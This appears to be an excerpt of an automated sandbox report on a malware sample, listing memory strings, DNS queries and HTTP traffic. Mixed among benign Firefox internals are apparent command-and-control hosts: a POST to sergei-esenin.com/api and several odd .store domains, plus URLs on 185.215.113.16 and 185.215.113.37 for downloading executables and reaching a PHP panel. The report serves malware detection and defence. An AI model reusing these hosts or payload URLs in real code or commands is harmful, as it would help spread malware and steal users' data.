Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: uninstallPlugin() - unregistering gmp directory KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONonPrefEMEGlobalEnabledChanged() id=resource://gre/modules/UpdateUtils.sys.mjsstartup - adding clearkey CDM directory KEY_PLUGIN_LAST_INSTALL_FAIL_REASONonPrefEnabledChanged() - adding gmp directory media.gmp-manager.cert.checkAttributessitepermsaddon-provider-registeredfindUpdates() - updateTask succeeded for onPrefEnabledChanged() - removing gmp directory dom.sitepermsaddon-provider.enabledipc:first-content-process-createdmedia.{0}.allow-x64-plugin-on-arm64addGatedPermissionTypesForXpcShellTestsThis should only be called from XPCShell tests - the given reason to update is not supportedresource://gre/modules/AddonManager.sys.mjsstartup - adding clearkey CDM failedmedia.gmp-manager.secondsBetweenChecksmedia.gmp-manager.cert.requireBuiltInfindUpdates() - found update for SitePermsAddonInstall#cancel called twice on resource://gre/modules/amManager.sys.mjs@mozilla.org/spellchecker/user;1startup - adding gmp directory failed with media.gmp-manager.checkContentSignature://c.amazon-adsystem.com/aax2/apstag.jsFileUtils_openAtomicFileOutputStream://static.chartbeat.com/js/chartbeat_video.js://pub.doubleverify.com/signals/pub.js://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.jsresource://gre/modules/FileUtils.sys.mjs://.imgur.io/js/vendor..bundle.js@mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/play.svg://cdn.branch.io/branch-latest.min.js@mozilla.org/network/atomic-file-output-stream;1https://smartblock.firefox.etp/facebook.svgFileUtils_closeAtomicFileOutputStream://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.jswebcompat-reporter@mozilla.org.xpi://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.jspictureinpicture%40mozilla.org:1.0.0resource://gre/modules/addons/XPIProvider.jsmwebcompat-reporter%40mozilla.org:1.5.1://track.adform.net/serving/scripts/trackpoint/@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: w.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}(' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D5135F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 09:02:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqNgSJF1i9W%2FWgVCGnIKU%2BTuKvAu8YLE2ERukdjUT%2FJPn%2FGQR1MOw83DLlzbZosWNodUrTnkeREn7Gf0RguEPuob6wLRzlyiS5No8EcLrPOTfJLtZ%2Fbw8vSGboXHddJopEesIA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d78c97909b2e93a-DFW

Source: firefox.exe, 0000001A.00000002.2819983745.0000014D54C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2801575464.0000014D44D6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.2337425425.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/85.215.113.37
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/E
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/I
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/T?3R
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0?
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php5
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpM
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpindows
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo-
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37i
Source: de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.3KQ
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
